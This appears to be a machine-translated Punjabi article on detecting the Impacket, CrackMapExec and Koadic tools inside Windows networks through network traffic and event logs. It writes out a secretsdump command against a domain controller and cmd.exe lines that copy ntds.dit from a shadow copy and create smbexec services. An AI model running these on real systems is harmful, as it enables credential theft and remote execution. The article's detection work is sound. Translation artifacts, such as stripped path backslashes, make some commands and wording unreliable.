ਵਿੰਡੋਜ਼ ਬੁਨਿਆਦੀ ਢਾਂਚੇ 'ਤੇ ਹਮਲਿਆਂ ਦਾ ਪਤਾ ਕਿਵੇਂ ਲਗਾਇਆ ਜਾਵੇ: ਹੈਕਰ ਟੂਲਸ ਦਾ ਅਧਿਐਨ ਕਰਨਾ

ਕਾਰਪੋਰੇਟ ਸੈਕਟਰ ਵਿੱਚ ਹਮਲਿਆਂ ਦੀ ਗਿਣਤੀ ਹਰ ਸਾਲ ਵਧ ਰਹੀ ਹੈ: ਉਦਾਹਰਨ ਲਈ 2017 ਵਿੱਚ, 13% ਹੋਰ ਵਿਲੱਖਣ ਘਟਨਾਵਾਂ ਦਰਜ ਕੀਤੀਆਂ ਗਈਆਂ ਸਨ 2016 ਦੇ ਮੁਕਾਬਲੇ, ਅਤੇ 2018 ਦੇ ਅੰਤ ਵਿੱਚ - 27% ਹੋਰ ਘਟਨਾਵਾਂਪਿਛਲੀ ਮਿਆਦ ਦੇ ਮੁਕਾਬਲੇ. ਉਹਨਾਂ ਸਮੇਤ ਜਿੱਥੇ ਮੁੱਖ ਕੰਮ ਕਰਨ ਵਾਲਾ ਟੂਲ ਵਿੰਡੋਜ਼ ਓਪਰੇਟਿੰਗ ਸਿਸਟਮ ਹੈ। 2017-2018 ਵਿੱਚ, APT Dragonfly, APT28, APT ਮੱਡੀ ਵਾਟਰ ਯੂਰਪ, ਉੱਤਰੀ ਅਮਰੀਕਾ ਅਤੇ ਸਾਊਦੀ ਅਰਬ ਵਿਚ ਸਰਕਾਰੀ ਅਤੇ ਫੌਜੀ ਸੰਗਠਨਾਂ 'ਤੇ ਹਮਲੇ ਕੀਤੇ। ਅਤੇ ਅਸੀਂ ਇਸਦੇ ਲਈ ਤਿੰਨ ਟੂਲ ਵਰਤੇ - ਇਮਪੈਕੇਟ, ਕਰੈਕਮੈਪੈਕਸ и ਕੋਡਿਕ. ਉਹਨਾਂ ਦਾ ਸਰੋਤ ਕੋਡ ਖੁੱਲ੍ਹਾ ਹੈ ਅਤੇ GitHub 'ਤੇ ਉਪਲਬਧ ਹੈ।

ਇਹ ਧਿਆਨ ਦੇਣ ਯੋਗ ਹੈ ਕਿ ਇਹ ਸਾਧਨ ਸ਼ੁਰੂਆਤੀ ਘੁਸਪੈਠ ਲਈ ਨਹੀਂ ਵਰਤੇ ਜਾਂਦੇ ਹਨ, ਪਰ ਬੁਨਿਆਦੀ ਢਾਂਚੇ ਦੇ ਅੰਦਰ ਇੱਕ ਹਮਲੇ ਨੂੰ ਵਿਕਸਤ ਕਰਨ ਲਈ. ਹਮਲਾਵਰ ਘੇਰੇ ਵਿਚ ਦਾਖਲ ਹੋਣ ਤੋਂ ਬਾਅਦ ਹਮਲੇ ਦੇ ਵੱਖ-ਵੱਖ ਪੜਾਵਾਂ 'ਤੇ ਇਨ੍ਹਾਂ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹਨ। ਇਹ, ਤਰੀਕੇ ਨਾਲ, ਖੋਜਣਾ ਮੁਸ਼ਕਲ ਹੈ ਅਤੇ ਅਕਸਰ ਸਿਰਫ ਤਕਨਾਲੋਜੀ ਦੀ ਮਦਦ ਨਾਲ ਨੈੱਟਵਰਕ ਟ੍ਰੈਫਿਕ ਵਿੱਚ ਸਮਝੌਤਾ ਦੇ ਨਿਸ਼ਾਨਾਂ ਦੀ ਪਛਾਣ ਕਰਨਾ ਜਾਂ ਸਾਧਨ ਜੋ ਇਜਾਜ਼ਤ ਦਿੰਦੇ ਹਨ ਇੱਕ ਹਮਲਾਵਰ ਦੇ ਬੁਨਿਆਦੀ ਢਾਂਚੇ ਵਿੱਚ ਦਾਖਲ ਹੋਣ ਤੋਂ ਬਾਅਦ ਉਸ ਦੀਆਂ ਸਰਗਰਮ ਕਾਰਵਾਈਆਂ ਦਾ ਪਤਾ ਲਗਾਓ. ਟੂਲ ਫਾਈਲਾਂ ਨੂੰ ਟ੍ਰਾਂਸਫਰ ਕਰਨ ਤੋਂ ਲੈ ਕੇ ਰਜਿਸਟਰੀ ਨਾਲ ਇੰਟਰੈਕਟ ਕਰਨ ਅਤੇ ਰਿਮੋਟ ਮਸ਼ੀਨ 'ਤੇ ਕਮਾਂਡਾਂ ਨੂੰ ਚਲਾਉਣ ਤੱਕ ਕਈ ਤਰ੍ਹਾਂ ਦੇ ਫੰਕਸ਼ਨ ਪ੍ਰਦਾਨ ਕਰਦੇ ਹਨ। ਅਸੀਂ ਇਹਨਾਂ ਸਾਧਨਾਂ ਦੀ ਨੈੱਟਵਰਕ ਗਤੀਵਿਧੀ ਨੂੰ ਨਿਰਧਾਰਤ ਕਰਨ ਲਈ ਉਹਨਾਂ ਦਾ ਅਧਿਐਨ ਕੀਤਾ।

ਸਾਨੂੰ ਕੀ ਕਰਨ ਦੀ ਲੋੜ ਸੀ:

• ਸਮਝੋ ਕਿ ਹੈਕਿੰਗ ਟੂਲ ਕਿਵੇਂ ਕੰਮ ਕਰਦੇ ਹਨ. ਪਤਾ ਲਗਾਓ ਕਿ ਹਮਲਾਵਰਾਂ ਨੂੰ ਕਿਸ ਚੀਜ਼ ਦਾ ਸ਼ੋਸ਼ਣ ਕਰਨ ਦੀ ਲੋੜ ਹੈ ਅਤੇ ਉਹ ਕਿਹੜੀਆਂ ਤਕਨੀਕਾਂ ਦੀ ਵਰਤੋਂ ਕਰ ਸਕਦੇ ਹਨ।
• ਹਮਲੇ ਦੇ ਪਹਿਲੇ ਪੜਾਵਾਂ ਵਿੱਚ ਜਾਣਕਾਰੀ ਸੁਰੱਖਿਆ ਟੂਲਸ ਦੁਆਰਾ ਖੋਜਿਆ ਨਾ ਗਿਆ ਕੀ ਲੱਭੋ. ਜਾਸੂਸੀ ਪੜਾਅ ਨੂੰ ਛੱਡਿਆ ਜਾ ਸਕਦਾ ਹੈ, ਜਾਂ ਤਾਂ ਹਮਲਾਵਰ ਇੱਕ ਅੰਦਰੂਨੀ ਹਮਲਾਵਰ ਹੈ, ਜਾਂ ਕਿਉਂਕਿ ਹਮਲਾਵਰ ਬੁਨਿਆਦੀ ਢਾਂਚੇ ਵਿੱਚ ਇੱਕ ਮੋਰੀ ਦਾ ਸ਼ੋਸ਼ਣ ਕਰ ਰਿਹਾ ਹੈ ਜੋ ਪਹਿਲਾਂ ਨਹੀਂ ਜਾਣਿਆ ਗਿਆ ਸੀ। ਉਸ ਦੀਆਂ ਕਾਰਵਾਈਆਂ ਦੀ ਪੂਰੀ ਲੜੀ ਨੂੰ ਬਹਾਲ ਕਰਨਾ ਸੰਭਵ ਹੋ ਜਾਂਦਾ ਹੈ, ਇਸਲਈ ਹੋਰ ਅੰਦੋਲਨ ਦਾ ਪਤਾ ਲਗਾਉਣ ਦੀ ਇੱਛਾ.
• ਘੁਸਪੈਠ ਖੋਜ ਸਾਧਨਾਂ ਤੋਂ ਝੂਠੇ ਸਕਾਰਾਤਮਕ ਨੂੰ ਹਟਾਓ. ਸਾਨੂੰ ਇਹ ਨਹੀਂ ਭੁੱਲਣਾ ਚਾਹੀਦਾ ਹੈ ਕਿ ਜਦੋਂ ਇਕੱਲੇ ਪੁਨਰ ਖੋਜ ਦੇ ਆਧਾਰ 'ਤੇ ਕੁਝ ਕਾਰਵਾਈਆਂ ਦਾ ਪਤਾ ਲਗਾਇਆ ਜਾਂਦਾ ਹੈ, ਤਾਂ ਅਕਸਰ ਗਲਤੀਆਂ ਸੰਭਵ ਹੁੰਦੀਆਂ ਹਨ। ਆਮ ਤੌਰ 'ਤੇ ਬੁਨਿਆਦੀ ਢਾਂਚੇ ਵਿੱਚ ਕੋਈ ਵੀ ਜਾਣਕਾਰੀ ਪ੍ਰਾਪਤ ਕਰਨ ਲਈ, ਬਹੁਤ ਸਾਰੇ ਤਰੀਕੇ ਹੁੰਦੇ ਹਨ, ਜੋ ਪਹਿਲੀ ਨਜ਼ਰ ਵਿੱਚ ਜਾਇਜ਼ ਲੋਕਾਂ ਤੋਂ ਵੱਖਰੇ ਨਹੀਂ ਹੁੰਦੇ।

ਇਹ ਸਾਧਨ ਹਮਲਾਵਰਾਂ ਨੂੰ ਕੀ ਦਿੰਦੇ ਹਨ? ਜੇਕਰ ਇਹ ਇਮਪੈਕੇਟ ਹੈ, ਤਾਂ ਹਮਲਾਵਰਾਂ ਨੂੰ ਮੋਡੀਊਲ ਦੀ ਇੱਕ ਵੱਡੀ ਲਾਇਬ੍ਰੇਰੀ ਮਿਲਦੀ ਹੈ ਜੋ ਹਮਲੇ ਦੇ ਵੱਖ-ਵੱਖ ਪੜਾਵਾਂ 'ਤੇ ਵਰਤੇ ਜਾ ਸਕਦੇ ਹਨ ਜੋ ਘੇਰੇ ਨੂੰ ਤੋੜਨ ਤੋਂ ਬਾਅਦ ਆਉਂਦੇ ਹਨ। ਬਹੁਤ ਸਾਰੇ ਟੂਲ ਅੰਦਰੂਨੀ ਤੌਰ 'ਤੇ Impacket ਮੋਡੀਊਲ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹਨ - ਉਦਾਹਰਨ ਲਈ, Metasploit. ਇਸ ਵਿੱਚ ਰਿਮੋਟ ਕਮਾਂਡ ਐਗਜ਼ੀਕਿਊਸ਼ਨ ਲਈ dcomexec ਅਤੇ wmiexec ਹੈ, Impacket ਤੋਂ ਜੋੜੇ ਗਏ ਮੈਮੋਰੀ ਤੋਂ ਖਾਤੇ ਪ੍ਰਾਪਤ ਕਰਨ ਲਈ secretsdump। ਨਤੀਜੇ ਵਜੋਂ, ਅਜਿਹੀ ਲਾਇਬ੍ਰੇਰੀ ਦੀ ਗਤੀਵਿਧੀ ਦੀ ਸਹੀ ਖੋਜ ਡੈਰੀਵੇਟਿਵਜ਼ ਦੀ ਖੋਜ ਨੂੰ ਯਕੀਨੀ ਬਣਾਏਗੀ।

ਇਹ ਕੋਈ ਇਤਫ਼ਾਕ ਨਹੀਂ ਹੈ ਕਿ ਸਿਰਜਣਹਾਰਾਂ ਨੇ CrackMapExec (ਜਾਂ ਸਿਰਫ਼ CME) ਬਾਰੇ "Impacket ਦੁਆਰਾ ਸੰਚਾਲਿਤ" ਲਿਖਿਆ ਹੈ। ਇਸ ਤੋਂ ਇਲਾਵਾ, CME ਕੋਲ ਪ੍ਰਸਿੱਧ ਦ੍ਰਿਸ਼ਾਂ ਲਈ ਤਿਆਰ-ਕੀਤੀ ਕਾਰਜਕੁਸ਼ਲਤਾ ਹੈ: ਪਾਸਵਰਡ ਜਾਂ ਉਹਨਾਂ ਦੇ ਹੈਸ਼ ਪ੍ਰਾਪਤ ਕਰਨ ਲਈ Mimikatz, ਰਿਮੋਟ ਐਗਜ਼ੀਕਿਊਸ਼ਨ ਲਈ ਮੀਟਰਪ੍ਰੇਟਰ ਜਾਂ ਐਮਪਾਇਰ ਏਜੰਟ ਨੂੰ ਲਾਗੂ ਕਰਨਾ, ਅਤੇ ਬੋਰਡ 'ਤੇ ਬਲੱਡਹਾਊਂਡ।

ਤੀਜਾ ਟੂਲ ਜੋ ਅਸੀਂ ਚੁਣਿਆ ਸੀ ਉਹ ਕੋਡਿਕ ਸੀ. ਇਹ ਬਿਲਕੁਲ ਤਾਜ਼ਾ ਹੈ, ਇਹ 25 ਵਿੱਚ ਅੰਤਰਰਾਸ਼ਟਰੀ ਹੈਕਰ ਕਾਨਫਰੰਸ DEFCON 2017 ਵਿੱਚ ਪੇਸ਼ ਕੀਤਾ ਗਿਆ ਸੀ ਅਤੇ ਇੱਕ ਗੈਰ-ਮਿਆਰੀ ਪਹੁੰਚ ਦੁਆਰਾ ਵੱਖਰਾ ਹੈ: ਇਹ HTTP, Java ਸਕ੍ਰਿਪਟ ਅਤੇ Microsoft ਵਿਜ਼ੂਅਲ ਬੇਸਿਕ ਸਕ੍ਰਿਪਟ (VBS) ਦੁਆਰਾ ਕੰਮ ਕਰਦਾ ਹੈ। ਇਸ ਪਹੁੰਚ ਨੂੰ ਜ਼ਮੀਨ ਤੋਂ ਬਾਹਰ ਦਾ ਜੀਵਨ ਕਿਹਾ ਜਾਂਦਾ ਹੈ: ਟੂਲ ਵਿੰਡੋਜ਼ ਵਿੱਚ ਬਣੀਆਂ ਨਿਰਭਰਤਾਵਾਂ ਅਤੇ ਲਾਇਬ੍ਰੇਰੀਆਂ ਦਾ ਇੱਕ ਸੈੱਟ ਵਰਤਦਾ ਹੈ। ਨਿਰਮਾਤਾ ਇਸਨੂੰ COM ਕਮਾਂਡ ਐਂਡ ਕੰਟਰੋਲ, ਜਾਂ C3 ਕਹਿੰਦੇ ਹਨ।

IMPACKET

ਇਮਪੈਕੇਟ ਦੀ ਕਾਰਜਕੁਸ਼ਲਤਾ ਬਹੁਤ ਵਿਆਪਕ ਹੈ, AD ਦੇ ​​ਅੰਦਰ ਖੋਜ ਅਤੇ ਅੰਦਰੂਨੀ MS SQL ਸਰਵਰਾਂ ਤੋਂ ਡੇਟਾ ਇਕੱਠਾ ਕਰਨ ਤੋਂ ਲੈ ਕੇ, ਪ੍ਰਮਾਣ ਪੱਤਰ ਪ੍ਰਾਪਤ ਕਰਨ ਦੀਆਂ ਤਕਨੀਕਾਂ ਤੱਕ: ਇਹ ਇੱਕ SMB ਰੀਲੇਅ ਹਮਲਾ ਹੈ, ਅਤੇ ਇੱਕ ਡੋਮੇਨ ਕੰਟਰੋਲਰ ਤੋਂ ਉਪਭੋਗਤਾ ਪਾਸਵਰਡਾਂ ਦੇ ਹੈਸ਼ਾਂ ਵਾਲੀ ntds.dit ਫਾਈਲ ਪ੍ਰਾਪਤ ਕਰਨਾ ਹੈ। ਇਮਪੈਕੇਟ ਚਾਰ ਵੱਖ-ਵੱਖ ਤਰੀਕਿਆਂ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਰਿਮੋਟਲੀ ਕਮਾਂਡਾਂ ਨੂੰ ਵੀ ਚਲਾਉਂਦਾ ਹੈ: WMI, ਵਿੰਡੋਜ਼ ਸ਼ਡਿਊਲਰ ਮੈਨੇਜਮੈਂਟ ਸਰਵਿਸ, DCOM, ਅਤੇ SMB, ਅਤੇ ਅਜਿਹਾ ਕਰਨ ਲਈ ਪ੍ਰਮਾਣ ਪੱਤਰਾਂ ਦੀ ਲੋੜ ਹੁੰਦੀ ਹੈ।

ਸੀਕਰੇਟਸਡੰਪ

ਆਓ secretsdump 'ਤੇ ਇੱਕ ਨਜ਼ਰ ਮਾਰੀਏ. ਇਹ ਇੱਕ ਮੋਡੀਊਲ ਹੈ ਜੋ ਉਪਭੋਗਤਾ ਮਸ਼ੀਨਾਂ ਅਤੇ ਡੋਮੇਨ ਕੰਟਰੋਲਰਾਂ ਦੋਵਾਂ ਨੂੰ ਨਿਸ਼ਾਨਾ ਬਣਾ ਸਕਦਾ ਹੈ। ਇਸਦੀ ਵਰਤੋਂ ਮੈਮੋਰੀ ਖੇਤਰਾਂ LSA, SAM, SECURITY, NTDS.dit ਦੀਆਂ ਕਾਪੀਆਂ ਪ੍ਰਾਪਤ ਕਰਨ ਲਈ ਕੀਤੀ ਜਾ ਸਕਦੀ ਹੈ, ਇਸ ਲਈ ਇਸ ਨੂੰ ਹਮਲੇ ਦੇ ਵੱਖ-ਵੱਖ ਪੜਾਵਾਂ 'ਤੇ ਦੇਖਿਆ ਜਾ ਸਕਦਾ ਹੈ। ਮੋਡੀਊਲ ਦੇ ਸੰਚਾਲਨ ਵਿੱਚ ਪਹਿਲਾ ਕਦਮ SMB ਦੁਆਰਾ ਪ੍ਰਮਾਣਿਕਤਾ ਹੈ, ਜਿਸ ਲਈ ਜਾਂ ਤਾਂ ਉਪਭੋਗਤਾ ਦੇ ਪਾਸਵਰਡ ਜਾਂ ਇਸਦੇ ਹੈਸ਼ ਦੀ ਲੋੜ ਹੁੰਦੀ ਹੈ ਤਾਂ ਜੋ ਹੈਸ਼ ਅਟੈਕ ਨੂੰ ਪਾਸ ਕੀਤਾ ਜਾ ਸਕੇ। ਅੱਗੇ ਸਰਵਿਸ ਕੰਟਰੋਲ ਮੈਨੇਜਰ (ਐਸਸੀਐਮ) ਤੱਕ ਪਹੁੰਚ ਖੋਲ੍ਹਣ ਅਤੇ ਵਿਨਰੇਗ ਪ੍ਰੋਟੋਕੋਲ ਰਾਹੀਂ ਰਜਿਸਟਰੀ ਤੱਕ ਪਹੁੰਚ ਪ੍ਰਾਪਤ ਕਰਨ ਲਈ ਇੱਕ ਬੇਨਤੀ ਆਉਂਦੀ ਹੈ, ਜਿਸਦੀ ਵਰਤੋਂ ਕਰਕੇ ਹਮਲਾਵਰ ਦਿਲਚਸਪੀ ਦੀਆਂ ਸ਼ਾਖਾਵਾਂ ਦੇ ਡੇਟਾ ਦਾ ਪਤਾ ਲਗਾ ਸਕਦਾ ਹੈ ਅਤੇ SMB ਦੁਆਰਾ ਨਤੀਜੇ ਪ੍ਰਾਪਤ ਕਰ ਸਕਦਾ ਹੈ।

ਚਿੱਤਰ ਵਿੱਚ. 1 ਅਸੀਂ ਦੇਖਦੇ ਹਾਂ ਕਿ ਕਿਵੇਂ ਵਿਨਰੇਗ ਪ੍ਰੋਟੋਕੋਲ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਸਮੇਂ, LSA ਨਾਲ ਰਜਿਸਟਰੀ ਕੁੰਜੀ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਪਹੁੰਚ ਪ੍ਰਾਪਤ ਕੀਤੀ ਜਾਂਦੀ ਹੈ। ਅਜਿਹਾ ਕਰਨ ਲਈ, DCERPC ਕਮਾਂਡ ਦੀ ਵਰਤੋਂ opcode 15 - OpenKey ਨਾਲ ਕਰੋ।

ਚੌਲ. 1. winreg ਪ੍ਰੋਟੋਕੋਲ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਇੱਕ ਰਜਿਸਟਰੀ ਕੁੰਜੀ ਖੋਲ੍ਹਣਾ

ਅੱਗੇ, ਜਦੋਂ ਕੁੰਜੀ ਤੱਕ ਪਹੁੰਚ ਪ੍ਰਾਪਤ ਕੀਤੀ ਜਾਂਦੀ ਹੈ, ਤਾਂ ਮੁੱਲਾਂ ਨੂੰ ਓਪਕੋਡ 20 ਦੇ ਨਾਲ SaveKey ਕਮਾਂਡ ਨਾਲ ਸੁਰੱਖਿਅਤ ਕੀਤਾ ਜਾਂਦਾ ਹੈ। ਇਮਪੈਕੇਟ ਇਸ ਨੂੰ ਬਹੁਤ ਖਾਸ ਤਰੀਕੇ ਨਾਲ ਕਰਦਾ ਹੈ। ਇਹ ਮੁੱਲਾਂ ਨੂੰ ਇੱਕ ਫਾਈਲ ਵਿੱਚ ਸੁਰੱਖਿਅਤ ਕਰਦਾ ਹੈ ਜਿਸਦਾ ਨਾਮ .tmp ਨਾਲ ਜੋੜਿਆ ਗਿਆ 8 ਬੇਤਰਤੀਬ ਅੱਖਰਾਂ ਦੀ ਇੱਕ ਸਤਰ ਹੈ। ਇਸ ਤੋਂ ਇਲਾਵਾ, ਇਸ ਫਾਈਲ ਦਾ ਹੋਰ ਅੱਪਲੋਡ ਸਿਸਟਮ32 ਡਾਇਰੈਕਟਰੀ (ਚਿੱਤਰ 2) ਤੋਂ SMB ਰਾਹੀਂ ਹੁੰਦਾ ਹੈ।

ਚੌਲ. 2. ਰਿਮੋਟ ਮਸ਼ੀਨ ਤੋਂ ਰਜਿਸਟਰੀ ਕੁੰਜੀ ਪ੍ਰਾਪਤ ਕਰਨ ਲਈ ਸਕੀਮ

ਇਹ ਪਤਾ ਚਲਦਾ ਹੈ ਕਿ ਨੈਟਵਰਕ 'ਤੇ ਅਜਿਹੀ ਗਤੀਵਿਧੀ ਨੂੰ ਵਿਨਰੇਗ ਪ੍ਰੋਟੋਕੋਲ, ਖਾਸ ਨਾਮਾਂ, ਕਮਾਂਡਾਂ ਅਤੇ ਉਹਨਾਂ ਦੇ ਆਰਡਰ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ ਕੁਝ ਰਜਿਸਟਰੀ ਸ਼ਾਖਾਵਾਂ ਦੇ ਸਵਾਲਾਂ ਦੁਆਰਾ ਖੋਜਿਆ ਜਾ ਸਕਦਾ ਹੈ.

ਇਹ ਮੋਡੀਊਲ ਵਿੰਡੋਜ਼ ਇਵੈਂਟ ਲੌਗ ਵਿੱਚ ਟਰੇਸ ਵੀ ਛੱਡਦਾ ਹੈ, ਜਿਸ ਨਾਲ ਇਸਦਾ ਪਤਾ ਲਗਾਉਣਾ ਆਸਾਨ ਹੋ ਜਾਂਦਾ ਹੈ। ਉਦਾਹਰਨ ਲਈ, ਕਮਾਂਡ ਨੂੰ ਚਲਾਉਣ ਦੇ ਨਤੀਜੇ ਵਜੋਂ

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

ਵਿੰਡੋਜ਼ ਸਰਵਰ 2016 ਲੌਗ ਵਿੱਚ ਅਸੀਂ ਇਵੈਂਟਾਂ ਦੀ ਹੇਠ ਲਿਖੀ ਮੁੱਖ ਲੜੀ ਵੇਖਾਂਗੇ:

1. 4624 - ਰਿਮੋਟ ਲੋਗਨ।
2. 5145 - ਵਿਨਰੇਗ ਰਿਮੋਟ ਸੇਵਾ ਲਈ ਪਹੁੰਚ ਅਧਿਕਾਰਾਂ ਦੀ ਜਾਂਚ ਕਰ ਰਿਹਾ ਹੈ।
3. 5145 - System32 ਡਾਇਰੈਕਟਰੀ ਵਿੱਚ ਫਾਈਲ ਐਕਸੈਸ ਅਧਿਕਾਰਾਂ ਦੀ ਜਾਂਚ ਕਰ ਰਿਹਾ ਹੈ। ਫਾਈਲ ਦਾ ਉੱਪਰ ਜ਼ਿਕਰ ਕੀਤਾ ਬੇਤਰਤੀਬ ਨਾਮ ਹੈ।
4. 4688 - ਇੱਕ cmd.exe ਪ੍ਰਕਿਰਿਆ ਬਣਾਉਣਾ ਜੋ vssadmin ਨੂੰ ਲਾਂਚ ਕਰਦੀ ਹੈ:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - ਕਮਾਂਡ ਨਾਲ ਇੱਕ ਪ੍ਰਕਿਰਿਆ ਬਣਾਉਣਾ:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - ਕਮਾਂਡ ਨਾਲ ਇੱਕ ਪ੍ਰਕਿਰਿਆ ਬਣਾਉਣਾ:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - ਕਮਾਂਡ ਨਾਲ ਇੱਕ ਪ੍ਰਕਿਰਿਆ ਬਣਾਉਣਾ:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

ਬਹੁਤ ਸਾਰੇ ਪੋਸਟ-ਸ਼ੋਸ਼ਣ ਸਾਧਨਾਂ ਵਾਂਗ, ਇਮਪੈਕੇਟ ਵਿੱਚ ਰਿਮੋਟਲੀ ਕਮਾਂਡਾਂ ਨੂੰ ਚਲਾਉਣ ਲਈ ਮੋਡੀਊਲ ਹਨ। ਅਸੀਂ smbexec 'ਤੇ ਧਿਆਨ ਕੇਂਦਰਿਤ ਕਰਾਂਗੇ, ਜੋ ਕਿ ਰਿਮੋਟ ਮਸ਼ੀਨ 'ਤੇ ਇੰਟਰਐਕਟਿਵ ਕਮਾਂਡ ਸ਼ੈੱਲ ਪ੍ਰਦਾਨ ਕਰਦਾ ਹੈ। ਇਸ ਮੋਡੀਊਲ ਨੂੰ SMB ਰਾਹੀਂ ਪ੍ਰਮਾਣਿਕਤਾ ਦੀ ਲੋੜ ਹੁੰਦੀ ਹੈ, ਜਾਂ ਤਾਂ ਪਾਸਵਰਡ ਜਾਂ ਪਾਸਵਰਡ ਹੈਸ਼ ਨਾਲ। ਚਿੱਤਰ ਵਿੱਚ. ਚਿੱਤਰ 3 ਵਿੱਚ ਅਸੀਂ ਇੱਕ ਉਦਾਹਰਨ ਦੇਖਦੇ ਹਾਂ ਕਿ ਅਜਿਹਾ ਟੂਲ ਕਿਵੇਂ ਕੰਮ ਕਰਦਾ ਹੈ, ਇਸ ਸਥਿਤੀ ਵਿੱਚ ਇਹ ਸਥਾਨਕ ਪ੍ਰਸ਼ਾਸਕ ਕੰਸੋਲ ਹੈ।

ਚੌਲ. 3. ਇੰਟਰਐਕਟਿਵ smbexec ਕੰਸੋਲ

ਪ੍ਰਮਾਣਿਕਤਾ ਤੋਂ ਬਾਅਦ smbexec ਦਾ ਪਹਿਲਾ ਕਦਮ OpenSCManagerW ਕਮਾਂਡ (15) ਨਾਲ SCM ਨੂੰ ਖੋਲ੍ਹਣਾ ਹੈ। ਪੁੱਛਗਿੱਛ ਧਿਆਨ ਦੇਣ ਯੋਗ ਹੈ: ਮਸ਼ੀਨ ਨਾਮ ਖੇਤਰ ਡੰਮੀ ਹੈ।

ਚੌਲ. 4. ਸਰਵਿਸ ਕੰਟਰੋਲ ਮੈਨੇਜਰ ਖੋਲ੍ਹਣ ਲਈ ਬੇਨਤੀ

ਅੱਗੇ, ਸੇਵਾ CreateServiceW ਕਮਾਂਡ (12) ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਬਣਾਈ ਗਈ ਹੈ। smbexec ਦੇ ਮਾਮਲੇ ਵਿੱਚ, ਅਸੀਂ ਹਰ ਵਾਰ ਇੱਕੋ ਕਮਾਂਡ ਨਿਰਮਾਣ ਤਰਕ ਦੇਖ ਸਕਦੇ ਹਾਂ। ਚਿੱਤਰ ਵਿੱਚ. 5 ਹਰਾ ਨਾ ਬਦਲਣਯੋਗ ਕਮਾਂਡ ਪੈਰਾਮੀਟਰਾਂ ਨੂੰ ਦਰਸਾਉਂਦਾ ਹੈ, ਪੀਲਾ ਦਰਸਾਉਂਦਾ ਹੈ ਕਿ ਹਮਲਾਵਰ ਕੀ ਬਦਲ ਸਕਦਾ ਹੈ। ਇਹ ਵੇਖਣਾ ਆਸਾਨ ਹੈ ਕਿ ਐਗਜ਼ੀਕਿਊਟੇਬਲ ਫਾਈਲ ਦਾ ਨਾਮ, ਇਸਦੀ ਡਾਇਰੈਕਟਰੀ ਅਤੇ ਆਉਟਪੁੱਟ ਫਾਈਲ ਨੂੰ ਬਦਲਿਆ ਜਾ ਸਕਦਾ ਹੈ, ਪਰ ਬਾਕੀ ਨੂੰ ਇਮਪੈਕੇਟ ਮੋਡੀਊਲ ਦੇ ਤਰਕ ਨੂੰ ਪਰੇਸ਼ਾਨ ਕੀਤੇ ਬਿਨਾਂ ਬਦਲਣਾ ਬਹੁਤ ਮੁਸ਼ਕਲ ਹੈ।

ਚੌਲ. 5. ਸਰਵਿਸ ਕੰਟਰੋਲ ਮੈਨੇਜਰ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਸੇਵਾ ਬਣਾਉਣ ਲਈ ਬੇਨਤੀ ਕਰੋ

Smbexec ਵਿੰਡੋਜ਼ ਇਵੈਂਟ ਲੌਗ ਵਿੱਚ ਸਪੱਸ਼ਟ ਨਿਸ਼ਾਨ ਵੀ ਛੱਡਦਾ ਹੈ। ipconfig ਕਮਾਂਡ ਦੇ ਨਾਲ ਇੰਟਰਐਕਟਿਵ ਕਮਾਂਡ ਸ਼ੈੱਲ ਲਈ ਵਿੰਡੋਜ਼ ਸਰਵਰ 2016 ਲੌਗ ਵਿੱਚ, ਅਸੀਂ ਇਵੈਂਟਾਂ ਦਾ ਹੇਠਾਂ ਦਿੱਤਾ ਮੁੱਖ ਕ੍ਰਮ ਦੇਖਾਂਗੇ:

1. 4697 - ਪੀੜਤ ਦੀ ਮਸ਼ੀਨ 'ਤੇ ਸੇਵਾ ਦੀ ਸਥਾਪਨਾ:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - ਬਿੰਦੂ 1 ਤੋਂ ਆਰਗੂਮੈਂਟਾਂ ਨਾਲ cmd.exe ਪ੍ਰਕਿਰਿਆ ਦੀ ਸਿਰਜਣਾ।
3. 5145 - C$ ਡਾਇਰੈਕਟਰੀ ਵਿੱਚ __ਆਊਟਪੁੱਟ ਫਾਈਲ ਤੱਕ ਪਹੁੰਚ ਅਧਿਕਾਰਾਂ ਦੀ ਜਾਂਚ ਕਰ ਰਿਹਾ ਹੈ।
4. 4697 - ਪੀੜਤ ਦੀ ਮਸ਼ੀਨ 'ਤੇ ਸੇਵਾ ਦੀ ਸਥਾਪਨਾ।

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

